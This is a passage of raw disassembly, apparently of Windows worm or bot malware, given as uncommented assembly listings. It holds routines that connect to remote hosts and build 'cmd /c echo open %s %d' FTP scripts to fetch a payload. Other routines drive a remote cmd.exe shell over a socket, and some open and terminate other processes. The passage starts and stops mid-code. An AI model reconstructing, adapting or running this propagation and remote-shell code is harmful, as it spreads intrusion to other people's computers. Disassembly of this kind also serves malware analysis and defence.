sub_425140+28j ; sub_425140+2Cj ... add ebx, 100h loc_42517C: ; CODE XREF: sub_425140+1Fj ; sub_425140+34j push ebx call sub_401703 mov ecx, [esp+8+arg_4] add esp, 4 cmp eax, ecx mov [esp+4+arg_C], eax jbe short loc_425195 xor eax, eax pop ebx retn ; --------------------------------------------------------------------------- loc_425195: ; CODE XREF: sub_425140+4Fj cmp eax, 0FFFFh jbe short loc_4251A0 xor eax, eax pop ebx retn ; --------------------------------------------------------------------------- loc_4251A0: ; CODE XREF: sub_425140+5Aj mov al, ds:byte_4B2308 xor edx, edx push ebp mov ebp, [esp+8+arg_8] test ebx, ebx push esi jbe short loc_4251D0 loc_4251B1: ; CODE XREF: sub_425140+8Ej mov cl, [edx+ebp] xor cl, al jz short loc_4251C7 cmp cl, 0Ah jz short loc_4251C7 cmp cl, 0Dh jz short loc_4251C7 cmp cl, 5Ch jnz short loc_4251CB loc_4251C7: ; CODE XREF: sub_425140+76j ; sub_425140+7Bj ... inc al xor edx, edx loc_4251CB: ; CODE XREF: sub_425140+85j inc edx cmp edx, ebx jb short loc_4251B1 loc_4251D0: ; CODE XREF: sub_425140+6Fj cmp ebx, 0FFh push edi mov ds:byte_4B2308, al ja short loc_425203 mov edx, [esp+10h+arg_0] mov ecx, 5 mov esi, offset dword_43DDA0 mov edi, edx mov ds:byte_43DDAD, bl mov ds:byte_43DDB1, al rep movsd movsb mov esi, 15h jmp short loc_425229 ; --------------------------------------------------------------------------- loc_425203: ; CODE XREF: sub_425140+9Cj mov edx, [esp+10h+arg_0] mov ecx, 5 mov esi, offset dword_43DD88 mov edi, edx mov ds:word_43DD96, bx mov ds:byte_43DD9B, al rep movsd movsw movsb mov esi, 17h loc_425229: ; CODE XREF: sub_425140+C1j xor ecx, ecx pop edi test ebx, ebx jbe short loc_42523F add esi, edx loc_425232: ; CODE XREF: sub_425140+FDj mov dl, [ecx+ebp] xor dl, al mov [esi+ecx], dl inc ecx cmp ecx, ebx jb short loc_425232 loc_42523F: ; CODE XREF: sub_425140+EEj mov eax, [esp+0Ch+arg_C] pop esi pop ebp pop ebx retn sub_425140 endp ; --------------------------------------------------------------------------- db 9 dup(90h) db 50h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_4252A0 proc near ; CODE XREF: sub_401CEEj arg_0 = dword ptr 4 mov ecx, [esp+arg_0] lea eax, [ecx+ecx*2] shl eax, 4 sub eax, ecx xor ecx, ecx lea eax, [eax+eax*2] mov ds:dword_442037[eax*4], ecx mov ds:dword_442023[eax*4], ecx mov ds:dword_442027[eax*4], ecx mov ds:dword_44202B[eax*4], ecx mov ds:dword_44202F[eax*4], ecx mov ds:dword_442033[eax*4], ecx mov ds:byte_441E23[eax*4], cl mov ds:byte_44203B[eax*4], cl retn sub_4252A0 endp ; --------------------------------------------------------------------------- db 6 dup(90h) db 20h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_425310 proc near ; CODE XREF: sub_401325j arg_0 = dword ptr 4 mov ecx, [esp+arg_0] push ebx push ebp xor ebx, ebx xor ebp, ebp cmp ecx, ebx jle loc_4253C7 cmp ecx, 200h jge loc_4253C7 lea eax, [ecx+ecx*2] push esi shl eax, 4 sub eax, ecx push edi push ebx lea esi, [eax+eax*2] mov eax, ds:dword_442037[esi*4] push eax call ds:dword_4B3854 cmp ds:dword_442037[esi*4], ebx jz short loc_425358 mov ebp, 1 loc_425358: ; CODE XREF: sub_425310+41j mov ds:dword_442037[esi*4], ebx mov ds:dword_442023[esi*4], ebx mov ds:dword_442027[esi*4], ebx mov eax, ds:dword_44202B[esi*4] cmp eax, ebx jbe short loc_425381 push eax call sub_401B4F add esp, 4 loc_425381: ; CODE XREF: sub_425310+66j mov edi, ds:dword_4B3CA8 mov ds:dword_44202B[esi*4], ebx mov ds:byte_441E23[esi*4], bl mov ds:byte_44203B[esi*4], bl mov ecx, ds:dword_44202F[esi*4] push ecx call edi mov ds:dword_44202F[esi*4], ebx mov edx, ds:dword_442033[esi*4] lea esi, ds:442033h[esi*4] push edx call edi mov [esi], ebx pop edi mov eax, ebp pop esi pop ebp pop ebx retn ; --------------------------------------------------------------------------- loc_4253C7: ; CODE XREF: sub_425310+Cj ; sub_425310+18j mov eax, ebp pop ebp pop ebx retn sub_425310 endp ; --------------------------------------------------------------------------- db 4 dup(90h) db 30h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_425400 proc near ; CODE XREF: sub_401C6Cj arg_0 = dword ptr 4 arg_4 = dword ptr 8 push ebx mov ebx, [esp+4+arg_4] push ebp push esi push edi xor ebp, ebp xor edi, edi mov esi, offset dword_442027 loc_425411: ; CODE XREF: sub_425400+52j mov eax, [esp+10h+arg_0] mov ecx, [esi-4] cmp ecx, eax jnz short loc_425445 test ebx, ebx jle short loc_425437 cmp [esi], ebx jz short loc_425428 cmp edi, ebx jnz short loc_425445 loc_425428: ; CODE XREF: sub_425400+22j push edi call sub_401325 add esp, 4 test eax, eax jz short loc_425445 jmp short loc_425444 ; --------------------------------------------------------------------------- loc_425437: ; CODE XREF: sub_425400+1Ej push edi call sub_401325 add esp, 4 test eax, eax jz short loc_425445 loc_425444: ; CODE XREF: sub_425400+35j inc ebp loc_425445: ; CODE XREF: sub_425400+1Aj ; sub_425400+26j ... add esi, 234h inc edi cmp esi, offset byte_488827 jl short loc_425411 pop edi mov eax, ebp pop esi pop ebp pop ebx retn sub_425400 endp ; --------------------------------------------------------------------------- db 5 dup(90h) db 20h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_425480 proc near ; CODE XREF: sub_401B4Fj arg_0 = dword ptr 4 mov eax, [esp+arg_0] push esi push edi push eax push 0 push 1F0FFFh mov edi, 1 call ds:dword_4B387C mov esi, eax test esi, esi jz short loc_4254B5 push 0 push esi call ds:dword_4B3880 test eax, eax jnz short loc_4254B5 push esi xor edi, edi call ds:dword_4B38C8 loc_4254B5: ; CODE XREF: sub_425480+1Dj ; sub_425480+2Aj mov eax, edi pop edi pop esi retn sub_425480 endp ; --------------------------------------------------------------------------- db 6 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_4254D0 proc near ; CODE XREF: sub_40142Ej arg_0 = dword ptr 4 mov edx, [esp+arg_0] xor eax, eax mov ecx, offset dword_442023 loc_4254DB: ; CODE XREF: sub_4254D0+1Cj cmp [ecx], edx jnz short loc_4254E0 inc eax loc_4254E0: ; CODE XREF: sub_4254D0+Dj add ecx, 234h cmp ecx, offset byte_488823 jl short loc_4254DB retn sub_4254D0 endp ; --------------------------------------------------------------------------- db 90h db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_425500 proc near ; CODE XREF: sub_401C67j arg_0 = dword ptr 4 mov edx, [esp+arg_0] push esi xor esi, esi xor eax, eax mov ecx, offset dword_442023 loc_42550E: ; CODE XREF: sub_425500+1Fj cmp [ecx], edx jz short loc_425523 add ecx, 234h inc eax cmp ecx, offset byte_488823 jl short loc_42550E mov eax, esi loc_425523: ; CODE XREF: sub_425500+10j pop esi retn sub_425500 endp ; --------------------------------------------------------------------------- db 0Bh dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_425540 proc near ; CODE XREF: sub_401AD7j arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch push edi xor edi, edi mov eax, offset byte_441E23 loc_425548: ; CODE XREF: sub_425540+18j cmp byte ptr [eax], 0 jz short loc_42555E add eax, 234h inc edi cmp eax, offset dword_488623 jl short loc_425548 mov eax, edi pop edi retn ; --------------------------------------------------------------------------- loc_42555E: ; CODE XREF: sub_425540+Bj lea eax, [edi+edi*2] push esi shl eax, 4 sub eax, edi push 1FFh lea eax, [eax+eax*2] lea esi, ds:441E23h[eax*4] mov eax, [esp+0Ch+arg_0] push eax push esi call ds:dword_4B3AE0 mov ecx, [esp+14h+arg_4] mov edx, [esp+14h+arg_8] mov [esi+200h], ecx mov dword ptr [esi+204h], 0 add esp, 0Ch mov dword ptr [esi+208h], 0 mov [esi+20Ch], edx mov byte ptr [esi+218h], 0 mov eax, edi pop esi pop edi retn sub_425540 endp ; --------------------------------------------------------------------------- db 7 dup(90h) db 20h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_4255E0 proc near ; CODE XREF: sub_4019A6j var_5A0 = dword ptr -5A0h var_59C = dword ptr -59Ch var_598 = dword ptr -598h var_594 = dword ptr -594h var_590 = byte ptr -590h var_400 = byte ptr -400h arg_0 = dword ptr 4 arg_4 = byte ptr 8 sub esp, 5A0h xor eax, eax push ebx mov [esp+5A4h+var_5A0], eax push ebp mov [esp+5A8h+var_59C], eax push esi lea ecx, [esp+5ACh+arg_4] push edi mov [esp+5B0h+var_598], eax push ecx mov [esp+5B4h+var_594], eax mov word ptr [esp+5B4h+var_5A0], 2 call ds:dword_4B3CBC push 216Bh mov [esp+5B4h+var_59C], eax call ds:dword_4B3CB0 push 0 push 1 push 2 mov word ptr [esp+5BCh+var_5A0+2], ax call ds:dword_4B3CAC mov esi, eax cmp esi, 0FFFFFFFFh jnz short loc_425645 pop edi pop esi pop ebp xor al, al pop ebx add esp, 5A0h retn ; --------------------------------------------------------------------------- loc_425645: ; CODE XREF: sub_4255E0+56j lea edx, [esp+5B0h+var_5A0] push 10h push edx push esi call ds:dword_4B3CB4 cmp eax, 0FFFFFFFFh jnz short loc_425665 pop edi pop esi pop ebp xor al, al pop ebx add esp, 5A0h retn ; --------------------------------------------------------------------------- loc_425665: ; CODE XREF: sub_4255E0+76j push 0 lea eax, [esp+5B4h+var_400] push 400h push eax push esi call ds:dword_4B3C6C mov ecx, offset byte_4403A9 call sub_401726 push eax mov ecx, offset byte_4403A9 call sub_401726 mov ecx, ds:dword_4404E7 mov edx, [esp+5B4h+arg_0] push eax push ecx push edx call sub_401CC1 mov ebx, ds:dword_4B3AA8 add esp, 4 push eax push offset aCmdCEchoOpenSD ; "cmd /c echo open %s %d >> ii &echo user"... lea eax, [esp+5C4h+var_590] push 190h push eax call ebx lea edi, [esp+5CCh+var_590] or ecx, 0FFFFFFFFh xor eax, eax add esp, 1Ch repne scasb not ecx mov ebp, ds:dword_4B3C9C dec ecx push 0 push ecx lea ecx, [esp+5B8h+var_590] push ecx push esi call ebp cmp eax, 0FFFFFFFFh jnz short loc_4256F4 pop edi pop esi pop ebp xor al, al pop ebx add esp, 5A0h retn ; --------------------------------------------------------------------------- loc_4256F4: ; CODE XREF: sub_4255E0+105j push 1F4h call ds:dword_4B38CC mov ecx, offset byte_4403A9 call sub_401726 push eax push offset dword_43BBBC lea edx, [esp+5B8h+var_590] push 190h push edx call ebx lea edi, [esp+5C0h+var_590] or ecx, 0FFFFFFFFh xor eax, eax add esp, 10h repne scasb not ecx dec ecx push 0 lea eax, [esp+5B4h+var_590] push ecx push eax push esi call ebp cmp eax, 0FFFFFFFFh jnz short loc_425749 pop edi pop esi pop ebp xor al, al pop ebx add esp, 5A0h retn ; --------------------------------------------------------------------------- loc_425749: ; CODE XREF: sub_4255E0+15Aj push 0 lea ecx, [esp+5B4h+var_400] push 400h push ecx push esi call ds:dword_4B3C6C push esi call ds:dword_4B3CA8 pop edi pop esi pop ebp mov al, 1 pop ebx add esp, 5A0h retn sub_4255E0 endp ; --------------------------------------------------------------------------- db 0Dh dup(90h) db 70h dup(0CCh) ; --------------------------------------------------------------------------- loc_4257F0: ; CODE XREF: _294ADE7B:004016D6j push esi mov esi, [esp+8] push esi call ds:dword_4B3CBC cmp eax, 0FFFFFFFFh jnz short loc_425818 push esi call ds:dword_4B3CA4 test eax, eax jnz short loc_425811 or eax, 0FFFFFFFFh pop esi retn ; --------------------------------------------------------------------------- loc_425811: ; CODE XREF: _294ADE7B:0042580Aj mov eax, [eax+0Ch] mov ecx, [eax] mov eax, [ecx] loc_425818: ; CODE XREF: _294ADE7B:004257FFj pop esi retn ; --------------------------------------------------------------------------- db 6 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_425830 proc near ; CODE XREF: sub_401A96j var_10 = dword ptr -10h var_C = dword ptr -0Ch arg_0 = byte ptr 4 arg_4 = byte ptr 8 arg_9E = dword ptr 0A2h sub esp, 10h push esi lea eax, [esp+14h+arg_4] push edi push eax mov word ptr [esp+1Ch+var_10], 2 call ds:dword_4B3CBC mov ecx, [esp+18h+arg_9E] mov [esp+18h+var_C], eax push ecx call ds:dword_4B3CB0 push 6 push 1 push 2 mov word ptr [esp+24h+var_10+2], ax call ds:dword_4B3CAC mov esi, eax cmp esi, 0FFFFFFFFh jnz short loc_425879 xor eax, eax pop edi pop esi add esp, 10h retn ; --------------------------------------------------------------------------- loc_425879: ; CODE XREF: sub_425830+3Fj lea edx, [esp+18h+var_10] push 10h push edx push esi call ds:dword_4B3CB4 cmp eax, 0FFFFFFFFh jnz short loc_42589B push esi call ds:dword_4B3CA8 xor eax, eax pop edi pop esi add esp, 10h retn ; --------------------------------------------------------------------------- loc_42589B: ; CODE XREF: sub_425830+5Aj push 0 push 1213h push offset dword_43DEAC push esi call ds:dword_4B3C9C cmp eax, 0FFFFFFFFh push esi jnz short loc_4258C2 call ds:dword_4B3CA8 xor eax, eax pop edi pop esi add esp, 10h retn ; --------------------------------------------------------------------------- loc_4258C2: ; CODE XREF: sub_425830+82j call ds:dword_4B3CA8 sub esp, 0BCh mov ecx, 2Eh lea esi, [esp+0D4h+arg_0] mov edi, esp rep movsd movsw call sub_4019A6 add esp, 0BCh test al, al jz short loc_425912 sub esp, 0BCh mov ecx, 2Eh lea esi, [esp+0D4h+arg_0] mov edi, esp rep movsd movsw call sub_401131 add esp, 0BCh loc_425912: ; CODE XREF: sub_425830+BDj pop edi mov eax, 1 pop esi add esp, 10h retn sub_425830 endp ; --------------------------------------------------------------------------- db 3 dup(90h) db 40h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_425960 proc near ; CODE XREF: sub_401E33j var_16 = word ptr -16h var_14 = word ptr -14h var_12 = word ptr -12h var_10 = dword ptr -10h var_C = byte ptr -0Ch var_8 = dword ptr -8 var_4 = word ptr -4 arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch sub esp, 18h mov ax, ds:word_43F48C mov cx, ds:word_43F488 mov dx, ds:word_4B22F8 mov [esp+18h+var_16], ax mov eax, ds:dword_4B2300 push ebx mov [esp+1Ch+var_10], eax mov ax, ds:word_4B2444 mov [esp+1Ch+var_4], ax mov eax, [esp+1Ch+arg_8] mov [esp+1Ch+var_12], cx mov cl, ds:byte_4B2304 mov [esp+1Ch+var_14], dx mov edx, ds:dword_4B2440 push ebp push esi test eax, eax push edi mov [esp+28h+var_C], cl mov [esp+28h+var_8], edx jnz loc_425A82 mov ebp, [esp+28h+arg_4] mov esi, [esp+28h+arg_0] mov ebx, ds:dword_4B3C9C mov [esp+28h+arg_8], eax loc_4259D0: ; CODE XREF: sub_425960+114j sub eax, 0 jz short loc_425A18 dec eax jnz loc_425A68 push 0 lea ecx, [esp+2Ch+var_16] push 1 push ecx push esi call ebx push 0 lea edx, [esp+28h+var_10] push 1 push edx push esi call ebx mov edi, ebp or ecx, 0FFFFFFFFh xor eax, eax repne scasb not ecx dec ecx push eax cmp ecx, 2 jnz short loc_425A0F lea eax, [esp+28h+var_C] push 4 push eax jmp short loc_425A52 ; --------------------------------------------------------------------------- loc_425A0F: ; CODE XREF: sub_425960+A4j lea ecx, [esp+28h+var_4] push 5 push ecx jmp short loc_425A52 ; --------------------------------------------------------------------------- loc_425A18: ; CODE XREF: sub_425960+73j push 0 lea edx, [esp+2Ch+var_16] push 1 push edx push esi call ebx push 0 lea eax, [esp+28h+var_10+2] push 1 push eax push esi call ebx mov edi, ebp or ecx, 0FFFFFFFFh xor eax, eax repne scasb not ecx dec ecx push eax cmp ecx, 2 jnz short loc_425A4B lea ecx, [esp+28h+var_C] push 4 push ecx jmp short loc_425A52 ; --------------------------------------------------------------------------- loc_425A4B: ; CODE XREF: sub_425960+E0j lea edx, [esp+28h+var_4] push 5 push edx loc_425A52: ; CODE XREF: sub_425960+ADj ; sub_425960+B6j ... push esi call ebx mov edi, ebp or ecx, 0FFFFFFFFh xor eax, eax push 0 repne scasb not ecx dec ecx push ecx push ebp push esi call ebx loc_425A68: ; CODE XREF: sub_425960+76j mov eax, [esp+28h+arg_8] inc eax cmp eax, 1 mov [esp+28h+arg_8], eax jle loc_4259D0 pop edi pop esi pop ebp pop ebx add esp, 18h retn ; --------------------------------------------------------------------------- loc_425A82: ; CODE XREF: sub_425960+58j dec eax jz short loc_425AD6 dec eax jnz loc_425B34 mov esi, [esp+28h+arg_0] mov ebx, ds:dword_4B3C9C push 0 lea eax, [esp+2Ch+var_16] push 1 push eax push esi call ebx push 0 lea ecx, [esp+28h+var_10] push 1 push ecx push esi call ebx mov ebp, [esp+24h+arg_8] or ecx, 0FFFFFFFFh mov edi, ebp xor eax, eax repne scasb not ecx dec ecx push eax cmp ecx, 2 jnz short loc_425ACD lea edx, [esp+28h+var_C] push 4 push edx jmp short loc_425B1E ; --------------------------------------------------------------------------- loc_425ACD: ; CODE XREF: sub_425960+162j lea eax, [esp+28h+var_4] push 5 push eax jmp short loc_425B1E ; --------------------------------------------------------------------------- loc_425AD6: ; CODE XREF: sub_425960+123j mov esi, [esp+28h+arg_0] mov ebx, ds:dword_4B3C9C push 0 lea ecx, [esp+2Ch+var_16] push 1 push ecx push esi call ebx push 0 lea edx, [esp+28h+var_10+2] push 1 push edx push esi call ebx mov ebp, [esp+24h+arg_8] or ecx, 0FFFFFFFFh mov edi, ebp xor eax, eax repne scasb not ecx dec ecx push eax cmp ecx, 2 jnz short loc_425B17 lea eax, [esp+28h+var_C] push 4 push eax jmp short loc_425B1E ; --------------------------------------------------------------------------- loc_425B17: ; CODE XREF: sub_425960+1ACj lea ecx, [esp+28h+var_4] push 5 push ecx loc_425B1E: ; CODE XREF: sub_425960+16Bj ; sub_425960+174j ... push esi call ebx mov edi, ebp or ecx, 0FFFFFFFFh xor eax, eax push 0 repne scasb not ecx dec ecx push ecx push ebp push esi call ebx loc_425B34: ; CODE XREF: sub_425960+126j pop edi pop esi pop ebp pop ebx add esp, 18h retn sub_425960 endp ; --------------------------------------------------------------------------- db 4 dup(90h) db 80h dup(0CCh) ; --------------------------------------------------------------------------- loc_425BC0: ; CODE XREF: _294ADE7B:004018D4j sub esp, 80h mov eax, ds:dword_43F53C mov ecx, ds:dword_43F540 mov edx, ds:dword_43F544 mov [esp+20h], eax mov al, ds:byte_43F548 mov [esp+24h], ecx mov cx, ds:word_43F538 mov [esp+2Ch], al mov eax, ds:dword_4B2300 mov [esp+28h], edx mov dl, ds:byte_43F53A mov [esp+18h], eax mov ax, ds:word_43F488 push ebx push ebp push esi mov [esp+1Ch], cx mov cl, ds:byte_4B2304 mov [esp+1Eh], dl mov dx, ds:word_43F534 mov [esp+0Eh], ax mov [esp+10h], ax mov al, ds:byte_43F536 xor esi, esi push edi mov [esp+2Ch], cl mov cx, ds:word_43F530 mov [esp+1Ch], dx mov dl, ds:byte_43F532 mov [esp+1Eh], al mov ax, ds:word_43BD60 push esi push 1 push 2 mov [esp+24h], cx mov [esp+26h], dl mov [esp+22h], ax call ds:dword_4B3CAC mov ebp, eax cmp ebp, 0FFFFFFFFh jnz short loc_425C7A push eax call ds:dword_4B3CA8 loc_425C7A: ; CODE XREF: _294ADE7B:00425C71j lea ecx, [esp+98h] mov word ptr [esp+40h], 2 push ecx call ds:dword_4B3CBC mov edx, [esp+132h] mov [esp+44h], eax push edx call ds:dword_4B3CB0 mov [esp+42h], ax lea eax, [esp+40h] push 10h push eax push ebp call ds:dword_4B3CB4 test eax, eax jz short loc_425CCC push ebp call ds:dword_4B3CA8 xor eax, eax pop edi pop esi pop ebp pop ebx add esp, 80h retn ; --------------------------------------------------------------------------- loc_425CCC: ; CODE XREF: _294ADE7B:00425CB6j mov ebx, ds:dword_4B3C9C loc_425CD2: ; CODE XREF: _294ADE7B:00425D19j ; _294ADE7B:00425D6Fj ... mov ecx, 10h xor eax, eax lea edi, [esp+50h] push eax rep stosd lea ecx, [esp+54h] push 40h push ecx push ebp call ds:dword_4B3C6C test eax, eax jle loc_425E12 cmp eax, 0FFFFFFFFh jz loc_425E12 mov eax, esi sub eax, 0 jz short loc_425D74 dec eax jz short loc_425D1B dec eax jz loc_425DC9 cmp esi, 3 jz loc_425E12 jmp short loc_425CD2 ; --------------------------------------------------------------------------- loc_425D1B: ; CODE XREF: _294ADE7B:00425D07j lea esi, [esp+20h] lea eax, [esp+50h] loc_425D23: ; CODE XREF: _294ADE7B:00425D41j mov dl, [eax] mov cl, dl cmp dl, [esi] jnz short loc_425D47 test cl, cl jz short loc_425D43 mov dl, [eax+1] mov cl, dl cmp dl, [esi+1] jnz short loc_425D47 add eax, 2 add esi, 2 test cl, cl jnz short loc_425D23 loc_425D43: ; CODE XREF: _294ADE7B:00425D2Dj xor eax, eax jmp short loc_425D4C ; --------------------------------------------------------------------------- loc_425D47: ; CODE XREF: _294ADE7B:00425D29j ; _294ADE7B:00425D37j sbb eax, eax sbb eax, 0FFFFFFFFh loc_425D4C: ; CODE XREF: _294ADE7B:00425D45j test eax, eax jnz loc_425DFE lea edi, [esp+12h] or ecx, 0FFFFFFFFh repne scasb not ecx push eax dec ecx lea eax, [esp+16h] push ecx push eax push ebp call ebx mov esi, 2 jmp loc_425CD2 ; --------------------------------------------------------------------------- loc_425D74: ; CODE XREF: _294ADE7B:00425D04j lea esi, [esp+30h] lea eax, [esp+50h] loc_425D7C: ; CODE XREF: _294ADE7B:00425D9Aj mov dl, [eax] mov cl, dl cmp dl, [esi] jnz short loc_425DA0 test cl, cl jz short loc_425D9C mov dl, [eax+1] mov cl, dl cmp dl, [esi+1] jnz short loc_425DA0 add eax, 2 add esi, 2 test cl, cl jnz short loc_425D7C loc_425D9C: ; CODE XREF: _294ADE7B:00425D86j xor eax, eax jmp short loc_425DA5 ; --------------------------------------------------------------------------- loc_425DA0: ; CODE XREF: _294ADE7B:00425D82j ; _294ADE7B:00425D90j sbb eax, eax sbb eax, 0FFFFFFFFh loc_425DA5: ; CODE XREF: _294ADE7B:00425D9Ej test eax, eax jnz short loc_425DFE lea edi, [esp+30h] or ecx, 0FFFFFFFFh repne scasb not ecx push eax dec ecx lea eax, [esp+34h] push ecx push eax push ebp call ebx mov esi, 1 jmp loc_425CD2 ; --------------------------------------------------------------------------- loc_425DC9: ; CODE XREF: _294ADE7B:00425D0Aj lea esi, [esp+28h] lea eax, [esp+50h] loc_425DD1: ; CODE XREF: _294ADE7B:00425DEFj mov dl, [eax] mov cl, dl cmp dl, [esi] jnz short loc_425DF5 test cl, cl jz short loc_425DF1 mov dl, [eax+1] mov cl, dl cmp dl, [esi+1] jnz short loc_425DF5 add eax, 2 add esi, 2 test cl, cl jnz short loc_425DD1 loc_425DF1: ; CODE XREF: _294ADE7B:00425DDBj xor eax, eax jmp short loc_425DFA ; --------------------------------------------------------------------------- loc_425DF5: ; CODE XREF: _294ADE7B:00425DD7j ; _294ADE7B:00425DE5j sbb eax, eax sbb eax, 0FFFFFFFFh loc_425DFA: ; CODE XREF: _294ADE7B:00425DF3j test eax, eax jz short loc_425E12 loc_425DFE: ; CODE XREF: _294ADE7B:00425D4Ej ; _294ADE7B:00425DA7j push ebp call ds:dword_4B3CA8 xor eax, eax pop edi pop esi pop ebp pop ebx add esp, 80h retn ; --------------------------------------------------------------------------- loc_425E12: ; CODE XREF: _294ADE7B:00425CF0j ; _294ADE7B:00425CF9j ... push 0 lea eax, [esp+18h] push 1 push eax push ebp call ebx lea ecx, [esp+1Ch] push 1 push ecx push ebp call sub_401E33 mov ebx, ds:dword_4B38CC add esp, 0Ch push 3E8h call ebx lea edx, [esp+16h] push 0 push edx push ebp call sub_401E33 add esp, 0Ch push 3E8h call ebx lea eax, [esp+1Ch] push 2 push eax push ebp call sub_401E33 add esp, 0Ch push 3E8h call ebx mov edi, offset aSystemrootSyst ; "%systemroot%\\system32\\cmd.exe" or ecx, 0FFFFFFFFh xor eax, eax xor esi, esi repne scasb not ecx dec ecx jz short loc_425EBE loc_425E7C: ; CODE XREF: _294ADE7B:00425EBCj movsx ecx, byte ptr ds:aSystemrootSyst[esi] ; "%systemroot%\\system32\\cmd.exe" push ecx push offset aC ; "%c" lea edx, [esp+2Ch] push 3 push edx call ds:dword_4B3AA8 lea eax, [esp+34h] push 0 push eax push ebp call sub_401E33 add esp, 1Ch push 7Dh call ebx mov edi, offset aSystemrootSyst ; "%systemroot%\\system32\\cmd.exe" or ecx, 0FFFFFFFFh xor eax, eax inc esi repne scasb not ecx dec ecx cmp esi, ecx jb short loc_425E7C loc_425EBE: ; CODE XREF: _294ADE7B:00425E7Aj lea ecx, [esp+18h] push 0 push ecx push ebp call sub_401E33 add esp, 0Ch push 7D0h call ebx mov ecx, 40h xor eax, eax mov edi, offset byte_4B230C rep stosd mov ecx, offset byte_4403A9 call sub_401726 push eax mov ecx, offset byte_4403A9 call sub_401726 mov edx, ds:dword_4404E7 push eax mov eax, [esp+9Ch] push edx push eax call sub_401CC1 add esp, 4 push eax push offset aEchoOpenSDAaEc ; "echo open %s %d >> aa &echo user a a >>"... push 0FFh push offset byte_4B230C loc_425F20: ; DATA XREF: sub_404890+BFCo call ds:dword_4B3AA8 mov edi, offset byte_4B230C or ecx, 0FFFFFFFFh xor eax, eax add esp, 1Ch xor esi, esi repne scasb not ecx dec ecx jz short loc_425F7E loc_425F3C: ; CODE XREF: _294ADE7B:00425F7Cj movsx ecx, ds:byte_4B230C[esi] push ecx push offset aC ; "%c" lea edx, [esp+2Ch] push 3 push edx call ds:dword_4B3AA8 lea eax, [esp+34h] push 0 push eax push ebp call sub_401E33 add esp, 1Ch push 7Dh call ebx mov edi, offset byte_4B230C or ecx, 0FFFFFFFFh xor eax, eax inc esi repne scasb not ecx dec ecx cmp esi, ecx jb short loc_425F3C loc_425F7E: ; CODE XREF: _294ADE7B:00425F3Aj push 3E8h call ebx lea ecx, [esp+18h] push 0 push ecx push ebp call sub_401E33 add esp, 0Ch mov esi, 2 loc_425F9A: ; CODE XREF: _294ADE7B:00425FB2j push 258h call ebx lea edx, [esp+18h] push 0 push edx push ebp call sub_401E33 add esp, 0Ch dec esi jnz short loc_425F9A sub esp, 0BCh mov ecx, 2Eh lea esi, [esp+150h] mov edi, esp rep movsd movsw call sub_401131 add esp, 0BCh push 3E8h call ebx push ebp call ds:dword_4B3CA8 pop edi pop esi pop ebp mov eax, 1 pop ebx add esp, 80h retn ; --------------------------------------------------------------------------- db 0Bh dup(90h) db 110h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_426110 proc near ; CODE XREF: sub_40158Cj var_3C = byte ptr -3Ch var_24 = byte ptr -24h var_C = dword ptr -0Ch var_4 = dword ptr -4 push 0FFFFFFFFh push offset SEH_426110 mov eax, large fs:0 push eax mov large fs:0, esp sub esp, 30h push esi push edi push 0 push 7 push 0Eh push 9 push 10h push 4Fh push 13h push 0Fh mov esi, ecx push 4 lea eax, [esp+68h+var_3C] push 4 push eax mov dword ptr [esi+118h], 0 mov byte ptr [esi+11Ch], 0 call sub_4018DE add esp, 2Ch push esi mov ecx, eax mov [esp+48h+var_4], 0 call sub_401726 lea ecx, [esi+4] push eax push ecx mov ecx, offset dword_43FFB0 call sub_401523 or edi, 0FFFFFFFFh lea ecx, [esp+44h+var_3C] mov [esp+44h+var_4], edi call sub_4011F9 push 0 push 10h push 4 push 15h push 4Fh push 13h push 0Fh push 4 lea edx, [esp+64h+var_3C] push 4 push edx call sub_4018DE add esp, 28h push esi mov ecx, eax mov [esp+48h+var_4], 1 call sub_401726 push eax lea eax, [esi+32h] push eax mov ecx, offset dword_43FFB0 call sub_401523 lea ecx, [esp+44h+var_3C] mov [esp+44h+var_4], edi call sub_4011F9 push 0 push 0Eh push 19h push 13h push 4Fh push 13h push 0Fh push 4 lea ecx, [esp+64h+var_3C] push 4 push ecx call sub_4018DE add esp, 28h push esi mov ecx, eax mov [esp+48h+var_4], 2 call sub_401726 lea edx, [esi+60h] push eax push edx mov ecx, offset dword_43FFB0 call sub_401523 lea ecx, [esp+44h+var_3C] mov [esp+44h+var_4], edi call sub_4011F9 push 0 push 10h push 0Fh push 14h push 13h push 4Fh push 13h push 0Fh push 4 lea eax, [esp+68h+var_3C] push 4 push eax call sub_4018DE add esp, 2Ch push esi mov ecx, eax mov [esp+48h+var_4], 3 call sub_401726 lea ecx, [esi+0EAh] push eax push ecx mov ecx, offset dword_43FFB0 call sub_401523 lea ecx, [esp+44h+var_3C] mov [esp+44h+var_4], edi call sub_4011F9 push 0 push 0Eh push 19h push 13h push 4 push 13h push 4Fh push 13h push 0Fh push 4 lea edx, [esp+6Ch+var_24] push 4 push edx call sub_4018DE add esp, 30h push esi mov ecx, eax mov [esp+48h+var_4], 4 call sub_401726 add esi, 8Eh push eax push esi mov ecx, offset dword_43FFB0 call sub_401523 lea ecx, [esp+44h+var_24] mov [esp+44h+var_4], edi call sub_4011F9 mov ecx, [esp+44h+var_C] pop edi pop esi mov large fs:0, ecx add esp, 3Ch retn sub_426110 endp ; --------------------------------------------------------------------------- db 0Ah dup(90h) db 80h dup(0CCh) ; --------------------------------------------------------------------------- loc_426360: ; CODE XREF: _294ADE7B:loc_401A78j push 0FFFFFFFFh push offset loc_434E56 mov eax, large fs:0 push eax mov large fs:0, esp sub esp, 34h push ebx push ebp push esi mov esi, [esp+50h] mov ebp, ecx push edi lea edi, [esi+7Eh] lea ecx, [ebp+8Eh] mov [esp+54h], edi call sub_401479 push eax mov ecx, edi call sub_4012B7 mov ebx, ds:dword_4B3AEC test eax, eax jnz loc_4264FB push 95h call sub_43034A add esp, 4 mov 